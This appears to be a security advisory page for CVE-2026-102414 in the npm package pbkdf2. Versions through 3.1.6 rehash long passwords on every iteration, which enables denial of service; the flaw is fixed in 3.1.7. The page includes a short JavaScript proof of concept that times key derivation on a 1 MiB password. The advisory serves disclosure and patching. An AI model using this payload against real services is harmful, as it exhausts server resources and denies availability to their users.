All vulnerabilities
CVE-2026-102414GHSA-477h-4r7f-fvrx

pbkdf2 rehashes long passwords on every iteration, enabling denial of service

browserify pbkdf2npmLibraries & packages
CVSS
6.3Medium
ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 30 Sep 2026. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)0.28%Chance of exploitation activity in the next 30 days, higher than 19% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in3.1.7Fixed versionGitHub
Published29 Sep 2026Updated 6 Oct 2026CVE List

What fixes it

  • 3.1.7pbkdf2, npmGitHubnpm install pbkdf2@3.1.7

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

This is the same bug as Django had (CVE-2013-1443).

Details

A long password can cause a DoS because it is not using cached HMAC, length limits, or pre-hashing passwords longer than the block size of the hash function as per HMAC spec. This line of code hashes the full password each iteration: https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/lib/sync.js#L60

Also see https://github.com/browserify/pbkdf2/issues/82

PoC

The first key will take a lot longer to generate when not using the native code and uses code from /lib/sync.js (ie when this if statement is true): https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/index.js#L33-L37

var pbkdf2 = require('pbkdf2');
var createHash = require('create-hash');
var pw = ".".repeat(1048576); // 1 MiB

var t0 = performance.now();
var key1 = pbkdf2.pbkdf2Sync(pw, "salt", 1000, 32, "sha256");
var t1 = performance.now();
pw = createHash('sha256').update(pw).digest(); // HMAC specification for keys larger than block size
var key2 = pbkdf2.pbkdf2Sync(pw, "salt", 1000, 32, "sha256");
var t2 = performance.now();

console.log("First took:  " + (t1 - t0));
console.log("Second took: " + (t2 - t1));
console.log("Generated keys:");
console.log(key1);
console.log(key2);

Impact

DoS

Text from GitHub Advisory Database

Affected versions 3

  • pbkdf2, npm<= 3.1.6GitHub
  • pbkdf2affected: all versions through 3.1.6CVE List
  • pbkdf2, npmfrom first release, fixed in 3.1.7OSV

References 6